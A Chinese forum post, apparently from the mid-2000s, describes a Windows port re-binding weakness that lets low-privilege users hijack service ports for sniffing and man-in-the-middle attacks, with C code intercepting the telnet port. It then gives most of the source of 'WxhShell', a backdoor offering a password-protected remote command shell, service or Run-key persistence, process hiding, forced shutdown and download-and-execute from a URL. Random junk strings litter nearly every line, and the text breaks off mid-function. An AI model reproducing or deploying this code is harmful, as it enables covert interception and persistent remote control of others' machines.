社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18048阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JjBG9Rp{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U*Q1(C  
Dn{ hU $*  
  saddr.sin_family = AF_INET; )qXl8HI  
) 0p9I0=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h SGI  
VI83 3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PL+r*M%ll  
9A|deETa-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vo48\w7[  
5]C}044  
  这意味着什么?意味着可以进行如下的攻击: TNwBnMe  
_H[LUl9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,3 !D(&  
)6K Q"*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p)_v.D3i  
%V r vu5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k^A17Nf`2  
T-" zK r!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gz{~\0y  
| %E\?-TK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }M3f ?Jv  
.M Ni)+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S"t6 *fWr  
,&+"|,m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gyo[C98  
66A}5b4)]  
  #include oW0A8_|9  
  #include |>w>}w`~  
  #include :X1~  
  #include    +{b!,D3sa*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?&qa3y)wX:  
  int main() 1oD1ia#  
  { |jh&a+4W  
  WORD wVersionRequested; c eH8  
  DWORD ret; UNx|+  
  WSADATA wsaData; z^@.b  
  BOOL val; IZr~h9  
  SOCKADDR_IN saddr; )C?bb$  G  
  SOCKADDR_IN scaddr; $e(]L(o;  
  int err; z"cF\F  
  SOCKET s; &/%A 9R,  
  SOCKET sc; q. i2BoOd  
  int caddsize; ~ ^)D#Lo  
  HANDLE mt; xZmO^F5KHj  
  DWORD tid;   G)p pkH`qj  
  wVersionRequested = MAKEWORD( 2, 2 ); Cxn<#Kf\-<  
  err = WSAStartup( wVersionRequested, &wsaData ); *t_"]v-w  
  if ( err != 0 ) { "EA6RFRD  
  printf("error!WSAStartup failed!\n"); N?Wx-pK  
  return -1; E;$;g#ksf  
  } qN5 ru2  
  saddr.sin_family = AF_INET; )Dg;W6  
   =bn(9Gm!J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /O,>s  
Ino$N|G[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zWN/>~}U \  
  saddr.sin_port = htons(23); tyEa5sy4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (s:ihpI  
  { D'{NEk@  
  printf("error!socket failed!\n");  18(hrj  
  return -1; s^atBqw,  
  } <>gX'te  
  val = TRUE; TH;kJ{[}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ny(`An  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8$!&D&v  
  { Se0!-NUK0  
  printf("error!setsockopt failed!\n"); *u?QO4>  
  return -1; 2#<)-Cak  
  } kTC'`xv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AXnuXa(j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FU{$oCh/5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *w H.]$  
I:~KF/q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) goE \C  
  { {B!LhvYAH  
  ret=GetLastError(); H@+1I?l  
  printf("error!bind failed!\n"); *En29N#a{  
  return -1; gdPPk=LD  
  } cst}/8e  
  listen(s,2); b" Z$?5  
  while(1) pKxsK^O5[  
  { nC:>1 kt  
  caddsize = sizeof(scaddr); aw%iO|M_  
  //接受连接请求 UR3qzPm!0e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qocN:Of1  
  if(sc!=INVALID_SOCKET) E{Kc$,y  
  { $nkvp`A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _H,xnh#nZ  
  if(mt==NULL) cO8':P5Q  
  { :.k1="H~@  
  printf("Thread Creat Failed!\n"); & bKl(,  
  break; $;4y2?E  
  } 9<e%('@[  
  } e_<'zH_1  
  CloseHandle(mt); W2$MH: j  
  } O c[F  
  closesocket(s); $ \yZ;Z:  
  WSACleanup(); j_(DH2D  
  return 0; Po)!vL"   
  }   j&(Yk"j+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ipp#{'Do  
  { $dxk;V  
  SOCKET ss = (SOCKET)lpParam; |41NRGgY  
  SOCKET sc; $wr B5m?  
  unsigned char buf[4096]; 2`|gnVw  
  SOCKADDR_IN saddr; H%nA"-  
  long num; YaBZ#$r  
  DWORD val; EJCf[#Sf  
  DWORD ret; @5["L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3R}O3#lj,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F @%`(/^TA  
  saddr.sin_family = AF_INET; %Tv2op  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q[vQT?J7  
  saddr.sin_port = htons(23); -ho%9LW%|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8[k:FGp>  
  { OV"uIY[%8V  
  printf("error!socket failed!\n"); <UEta>jj  
  return -1; Daw;6f:  
  } @QN(ouqQ  
  val = 100; 483/ZgzT`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nv~H797B  
  { iL$~d@AEn  
  ret = GetLastError(); FI(iqSJ6  
  return -1; d3[O!4<T  
  } qxQuXF>:#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Jf[N=  
  { |3bCq(ZR\P  
  ret = GetLastError(); f}!Eu  
  return -1; X([8TR  
  } <hV%OrBz-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }fV+Kd$CB  
  { fi,h`mdT?  
  printf("error!socket connect failed!\n"); 8v ZY+Q >  
  closesocket(sc); %w3Y!7+  
  closesocket(ss); >p`ZcFNs"  
  return -1; ^pysoaZCT_  
  } svaclkT=  
  while(1) *y0=sG1+D  
  { TwI'}J|w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H{BP7!t[V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]aMeMhe-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W>o>Y$H  
  num = recv(ss,buf,4096,0); W{i s2s  
  if(num>0) 8Y,imj\(v  
  send(sc,buf,num,0); 2.2G79 U,  
  else if(num==0) \C}_l+nY  
  break; mm:g9j  
  num = recv(sc,buf,4096,0); Q1'4xWu  
  if(num>0) W^k|*Y|  
  send(ss,buf,num,0); *}P=7TuS  
  else if(num==0) 3FgTM(  
  break; CX}==0od  
  } $<s;YhM:u)  
  closesocket(ss); bzWWW^kNL  
  closesocket(sc); %B~@wcI)W  
  return 0 ; ~-tKMc).X  
  } YAsE,M+  
=j~vL`d2]  
TF %MO\!  
========================================================== ;{Nc9d  
V#,jUH|  
下边附上一个代码,,WXhSHELL 5hvg]w95;  
UOa n  
========================================================== s qEOXO  
=L]GQ=d  
#include "stdafx.h" 61~7 L^882  
Fd;%wWY.zm  
#include <stdio.h> =#>F' A  
#include <string.h> }{S+C[:_  
#include <windows.h> h0aK}`/a  
#include <winsock2.h> p9-s'F|@i  
#include <winsvc.h> rQsYt/  
#include <urlmon.h> eUVhNg  
63fg l+  
#pragma comment (lib, "Ws2_32.lib") UGP,/[XI  
#pragma comment (lib, "urlmon.lib") aCF=Og  
_]t^F9l  
#define MAX_USER   100 // 最大客户端连接数 wZ%a:Z4TcM  
#define BUF_SOCK   200 // sock buffer #oD;?Mi  
#define KEY_BUFF   255 // 输入 buffer b[rVr J  
a{@gzB  
#define REBOOT     0   // 重启 Db K(Rh_ K  
#define SHUTDOWN   1   // 关机 gLK_b;:  
?J,K[.z  
#define DEF_PORT   5000 // 监听端口 oe*CZ  
bV&"jjEx  
#define REG_LEN     16   // 注册表键长度 6qd?&.=r  
#define SVC_LEN     80   // NT服务名长度 'w8p[h (,  
VCX^D)[-  
// 从dll定义API =$-+~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f;=<$Y>i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,92wW&2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]ne  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); isU4D  
*6aIDFNl  
// wxhshell配置信息 \P;2s<6i\  
struct WSCFG { jdX *  
  int ws_port;         // 监听端口 85_Qb2<'r  
  char ws_passstr[REG_LEN]; // 口令 (3?W) i  
  int ws_autoins;       // 安装标记, 1=yes 0=no n.7-$1  
  char ws_regname[REG_LEN]; // 注册表键名 >zo_}A!  
  char ws_svcname[REG_LEN]; // 服务名 rlQ=rNrG&E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wE3fKG.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LUzn7FZk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2GxkOch  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *t300`x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0=k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6E{(_i  
2&zklXuo:  
}; 9/JB n  
V~sfR^FQ'  
// default Wxhshell configuration Vr:`?V9Q2(  
struct WSCFG wscfg={DEF_PORT, C@3UsD\s(  
    "xuhuanlingzhe", :E.T2na  
    1, im@QJ :  
    "Wxhshell", 97k}{tG  
    "Wxhshell", X?.tj Z,  
            "WxhShell Service", w/e?K4   
    "Wrsky Windows CmdShell Service", x c|1?AFj  
    "Please Input Your Password: ", Vt(s4  
  1, `>& K=C?  
  "http://www.wrsky.com/wxhshell.exe", k_`h (R  
  "Wxhshell.exe" U&W/Nj  
    }; UaB2vuL*=  
j@R"AP}  
// 消息定义模块 #~ZaN;u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @a i2A|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9y*2AaxW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t 7D~JAx6  
char *msg_ws_ext="\n\rExit."; { u3giB  
char *msg_ws_end="\n\rQuit."; 9v/=o`J#  
char *msg_ws_boot="\n\rReboot..."; w!jY(WK U  
char *msg_ws_poff="\n\rShutdown..."; PlR$s  
char *msg_ws_down="\n\rSave to "; e5d STc`  
{dYz|O<  
char *msg_ws_err="\n\rErr!"; 89j*uT  
char *msg_ws_ok="\n\rOK!"; trZU_eouI  
c{j)beaS  
char ExeFile[MAX_PATH]; ^Rh}[  
int nUser = 0; * !9=?  
HANDLE handles[MAX_USER]; L=dQ,yA  
int OsIsNt; ^<3{0g-"AW  
2B"tT"f  
SERVICE_STATUS       serviceStatus; *j<{3$6Ii  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?}U?Q7vx@@  
M'VJE|+t  
// 函数声明 _UV_n!R  
int Install(void); O1 !YHo  
int Uninstall(void); mD%IHzbn H  
int DownloadFile(char *sURL, SOCKET wsh); W5/|.}  
int Boot(int flag); sB5@6[VDI  
void HideProc(void); gs&F .n  
int GetOsVer(void); P$.$M}rMv  
int Wxhshell(SOCKET wsl); &crR nv ?  
void TalkWithClient(void *cs); K >Q 6  
int CmdShell(SOCKET sock); m'-QVZ{(M%  
int StartFromService(void); qERJEyU?  
int StartWxhshell(LPSTR lpCmdLine); &W3Hj$>  
<cxe   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <cO `jK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cRE6/qrXGg  
M)~sL1)  
// 数据结构和表定义 -O\f y!  
SERVICE_TABLE_ENTRY DispatchTable[] = BO2s(8  
{ R$`%<Y3)  
{wscfg.ws_svcname, NTServiceMain}, ;I*N%a TK  
{NULL, NULL} M+I9k;N6&  
}; ,/&|:PkS  
_WZ{i,  
// 自我安装 y>cLG5v  
int Install(void) 5uV_Pkb?8  
{ #pyFIUr=w  
  char svExeFile[MAX_PATH]; RL[F 9g  
  HKEY key; xo4lM  
  strcpy(svExeFile,ExeFile); v\E6N2.S  
Zs8]A0$  
// 如果是win9x系统,修改注册表设为自启动 <7! "8e  
if(!OsIsNt) { ,w f6gmh8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i-?mghe8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { <1uV']x  
  RegCloseKey(key); 4 !m'9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4I9Yr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Bi?^kQ#  
  RegCloseKey(key); @?RaU4e  
  return 0; u@tH6k*cBz  
    } -hq^';,  
  } 7yjun|Lt}X  
} I>q!co9n  
else { H^dw=kS  
J#5V>7G  
// 如果是NT以上系统,安装为系统服务 m6'9Id-:L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b7'l3mQjk  
if (schSCManager!=0) %{rPA3Xoy  
{ _SkiO }c8  
  SC_HANDLE schService = CreateService 9Vl}f^Gn  
  ( {|@}xrB  
  schSCManager, x3sX=jIW_  
  wscfg.ws_svcname, wR,}#m,  
  wscfg.ws_svcdisp, ' 6)Yf}I  
  SERVICE_ALL_ACCESS, O{\%{XrW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W>qu~ak?x  
  SERVICE_AUTO_START, j3H_g ^  
  SERVICE_ERROR_NORMAL, z]KJ4  
  svExeFile, X"9N<)C  
  NULL, ~dzD7lG6  
  NULL, ]~~G<Yh:=  
  NULL, g W_E  
  NULL, t/_\w"  
  NULL +Jm vB6s  
  ); JTObyAoW  
  if (schService!=0) ex^9 l b  
  { ~0[(-4MA  
  CloseServiceHandle(schService); 0$0 215  
  CloseServiceHandle(schSCManager); )CHXfO w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jT/P+2hMW  
  strcat(svExeFile,wscfg.ws_svcname); p2< 927z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4>HaKJ-c#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ( P=WKZMPN  
  RegCloseKey(key); /r2S1"(q  
  return 0;  ZpMv16  
    } @eutp`xoT\  
  } >?_}NZ,y  
  CloseServiceHandle(schSCManager); y^[t3XA6Q  
} 9_4(}|"N|  
} :pNS$g[  
.R#-u/6g(  
return 1; U#bmMH  
} sAPQbTSM  
R NQq"c\  
// 自我卸载 :I2,  
int Uninstall(void)  F=a  
{ OjNOvh&N  
  HKEY key; ~d3@x\I?  
eo@8?>}{X  
if(!OsIsNt) { m`):= ^nC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .5AFAGv_c  
  RegDeleteValue(key,wscfg.ws_regname); d`C$vj  
  RegCloseKey(key); NFP h}D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R*D5n>~  
  RegDeleteValue(key,wscfg.ws_regname); gK(G1  
  RegCloseKey(key); U|{4=[  
  return 0; 1B:5O*I!J  
  } :R3iLy  
} *B \ @L  
} 6!?] (  
else { V;^N:I\js  
FFcIOn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +'+ Nr<  
if (schSCManager!=0) X y`2ux+>/  
{ Z:Vde^Ih  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iz)r.TJ  
  if (schService!=0) ]N;n q  
  { mq:WBSsV  
  if(DeleteService(schService)!=0) { US=K}B=g  
  CloseServiceHandle(schService); )Vrp<"v  
  CloseServiceHandle(schSCManager); ` AD}6O+x  
  return 0; edCVIY'1  
  } %IE;'aa }  
  CloseServiceHandle(schService); B2*7H  
  } Ke3~o"IQ  
  CloseServiceHandle(schSCManager); GU9G5S.  
} u!HX`~q+A  
} .{ZJywE<  
J7C?Z  
return 1; HG< z,gE 2  
} -T i<H9OV  
C9!FnvH  
// 从指定url下载文件 :475FPy]  
int DownloadFile(char *sURL, SOCKET wsh) <}h <By)  
{ tN_=&|{WE4  
  HRESULT hr; J] w3iYK  
char seps[]= "/"; )siW c_Z4  
char *token; Xit@.:a;  
char *file; Nd_A8H,&B  
char myURL[MAX_PATH]; e M5-v-  
char myFILE[MAX_PATH]; n%G[Y^^,  
/OB)\{-  
strcpy(myURL,sURL); )db:jPkwd  
  token=strtok(myURL,seps); V~ MsGj  
  while(token!=NULL) -3 ANNj  
  { k3e6y  
    file=token; 6V ncr}  
  token=strtok(NULL,seps); G<k.d"<  
  } m+:JNgX6  
"EA =auN{  
GetCurrentDirectory(MAX_PATH,myFILE); %`K{0b  
strcat(myFILE, "\\"); Hmk xE  
strcat(myFILE, file); 8a]g>g  
  send(wsh,myFILE,strlen(myFILE),0); 6J#R1.h  
send(wsh,"...",3,0); q*,HN(& l?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #H<}xC2  
  if(hr==S_OK) L+T'TC:  
return 0; :?LNP3}  
else {Rb;1 eYj  
return 1; )m+O.`x  
zDEgC  
} TQ :e! 32  
\kf n,m  
// 系统电源模块 FV7'3fIa  
int Boot(int flag) -!mtLaLw  
{ Gc*=n*@^K  
  HANDLE hToken; DfU= i'R  
  TOKEN_PRIVILEGES tkp; !fd>wvJ,:  
2<h~: L  
  if(OsIsNt) { `QRXQ c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); auX(d -m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bA2[=6  
    tkp.PrivilegeCount = 1; w|6?A-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YlT&.G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2TQZu3$c  
if(flag==REBOOT) { %X^qWKix}m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t^>P,%$  
  return 0; V2AsZc0U(  
} M;'GnGFf  
else { {QmK4(k?|c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *93=}1gN  
  return 0; ^'du@XCf}  
} w8j pOvj  
  } <HTz  
  else { pDJN}XtjT  
if(flag==REBOOT) { 6R8>w,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :;hX$Qz  
  return 0; 1Z;cb0:  
} =sv?))b`  
else { Nu3IYS5&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T-GvPl9ZJw  
  return 0; vXwMo4F*  
} d0|{/4IWw;  
} 3djw  
trjeGSt&  
return 1; 0S4Y3bac&  
} n[qnrk*3 %  
@jjxgd'%&  
// win9x进程隐藏模块 92R,o'#  
void HideProc(void) F7w\ctUP  
{ 6(t'B!x  
CS*lk!C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [`E_/95  
  if ( hKernel != NULL ) -|s% 5p|  
  { {~R?f$}""j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _D@QsQ_Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); } _];yw  
    FreeLibrary(hKernel); Wd(|w8J{a  
  } \fSruhD  
vN@04a\h  
return; ]]`[tVaFr  
} Z,\(bW qF  
N%q{CYF6  
// 获取操作系统版本 ;14Q@yrZ0  
int GetOsVer(void) fhR u-  
{ (E 8jkc  
  OSVERSIONINFO winfo; :RZ'_5P[If  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "\rO}(gC;`  
  GetVersionEx(&winfo); {M=B5-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B-L@ 0gH  
  return 1; Q>;Aq!mr=  
  else W>Pcj EI  
  return 0; 4T"L#o1  
} r8N)]Hs ZH  
)ezkp%I5D  
// 客户端句柄模块 5 ';[|f  
int Wxhshell(SOCKET wsl) `*yOc6i]  
{ _Gb 7n5p  
  SOCKET wsh; ,1!Y!,xy  
  struct sockaddr_in client; W np[8IEU  
  DWORD myID; X|g5tnsj`  
qC& xuu|  
  while(nUser<MAX_USER) 4DP<)KX  
{ |a /cw"  
  int nSize=sizeof(client); %iYro8g!,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +!`$(  
  if(wsh==INVALID_SOCKET) return 1; Ln+ k_  
*!Gb_!98  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <&B] p  
if(handles[nUser]==0) Rf>V]R  
  closesocket(wsh); rTJU)4I^h  
else $ntC{a>&  
  nUser++; XgKYL<k?S  
  } DIvxut  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Rdi]:]Bv  
1GLb^:~A  
  return 0; kDE:KV<"c  
} ,m7Z w_.  
9!2$?xqym  
// 关闭 socket j E5=e</  
void CloseIt(SOCKET wsh) nSZp,?^  
{ B%))HLo'  
closesocket(wsh); (U.VCSn  
nUser--; nHfAx/9!  
ExitThread(0); h]|2b0  
} i1b3>H*3  
,y/m5-D!  
// 客户端请求句柄 &#~U1: 0  
void TalkWithClient(void *cs) lD _iIe~c  
{ l#w0-n%S  
$SniQ  
  SOCKET wsh=(SOCKET)cs; @}+B%R  
  char pwd[SVC_LEN]; RJN LcIm  
  char cmd[KEY_BUFF]; o@} qPvt0  
char chr[1]; HC>k/Gk"  
int i,j; 4`r-*Lx  
ashVV~\8A  
  while (nUser < MAX_USER) { {cw+kY]m4-  
eR3MU]zF  
if(wscfg.ws_passstr) { +K;%sAZy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RzLeR%O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z%r8oj\n  
  //ZeroMemory(pwd,KEY_BUFF); : 9zEne4  
      i=0; iq 8Hq)I]  
  while(i<SVC_LEN) { *s2 C+@ef  
1'k,P;s  
  // 设置超时 =)Goip  
  fd_set FdRead; : :/vDUDc  
  struct timeval TimeOut; y>g`R^^  
  FD_ZERO(&FdRead); x^pHP|<3`  
  FD_SET(wsh,&FdRead); N$Tzxs  
  TimeOut.tv_sec=8; ]tbl1=|  
  TimeOut.tv_usec=0; }k8&T\V!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wG22ffaki  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oOQ0f |MGp  
zKG]7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gvP.\,U  
  pwd=chr[0]; PC!X<C8*  
  if(chr[0]==0xd || chr[0]==0xa) { n{c-3w.uD  
  pwd=0; |B),N f|a  
  break; '1 \UFz  
  } f{]W*!VV-  
  i++; GMob&0l8_  
    } )f%Q7  
*NI hYg6  
  // 如果是非法用户,关闭 socket xT+@0?|F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "+4r4  
} &v+Hl ^  
cn_*,\}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LQ"xm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H.2aoZ-w  
m W4tW  
while(1) { s! sG)AR.J  
j2%#xZ{33  
  ZeroMemory(cmd,KEY_BUFF); mi sPJO&QD  
DJRr  
      // 自动支持客户端 telnet标准   )Vx C v  
  j=0; 6wyhL-{:  
  while(j<KEY_BUFF) { ]#$r TWMl'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Jm)2@  
  cmd[j]=chr[0]; "LVN:|!  
  if(chr[0]==0xa || chr[0]==0xd) { +n<;);h  
  cmd[j]=0; T\T>\&nY+|  
  break; G0x!:[  
  } :HN\A4=kc(  
  j++; @'?7au ''  
    } .[o?qCsw  
d1d:5 b  
  // 下载文件 kmsgaB7?  
  if(strstr(cmd,"http://")) { 8PW3x-+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sH)40QmO{  
  if(DownloadFile(cmd,wsh)) ]LSlo593  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 9*?'^s4  
  else TJ(vq]|&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hb9r.;r<EW  
  } 'jU;.vZex  
  else { N*>&XJ#  
IeE6?!,)  
    switch(cmd[0]) { 5' 3H$%dC  
  T4"*w  
  // 帮助 x*F_XE1#M  
  case '?': { LGC3"z\=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AjO|@6  
    break; ot,e?lF  
  } Jb` yK@x  
  // 安装 k.#[h@Pm  
  case 'i': { #K[6Ai=We}  
    if(Install()) VK$s+"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>`*JJ,  
    else Cv1CRmqq%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _VAX~Y]  
    break; (k5d.E]CK  
    } 3VmF1w 2  
  // 卸载 1?ST*b  
  case 'r': { DUu~s,A  
    if(Uninstall()) }kb6;4>c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A ]~%<=b  
    else >]l7AZ:,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gv }~  
    break; TInp6w+u  
    } hc5iIJ]  
  // 显示 wxhshell 所在路径 ?N!.:~~k  
  case 'p': { ;!/g`*?  
    char svExeFile[MAX_PATH]; @RVj~J.A  
    strcpy(svExeFile,"\n\r"); Pt %EyFG  
      strcat(svExeFile,ExeFile); >WW5;7$  
        send(wsh,svExeFile,strlen(svExeFile),0); 9TOqA4  
    break; i@spd5.  
    } Gw}b8N6E  
  // 重启 Yu9.0A_) :  
  case 'b': { "Bbd[ZI8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $3 ~ /H"K  
    if(Boot(REBOOT)) !5h@uar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I)cA:Ip  
    else { ^>!~%Vv7!  
    closesocket(wsh); ,zH\&D$>u  
    ExitThread(0); N'RUtFqj   
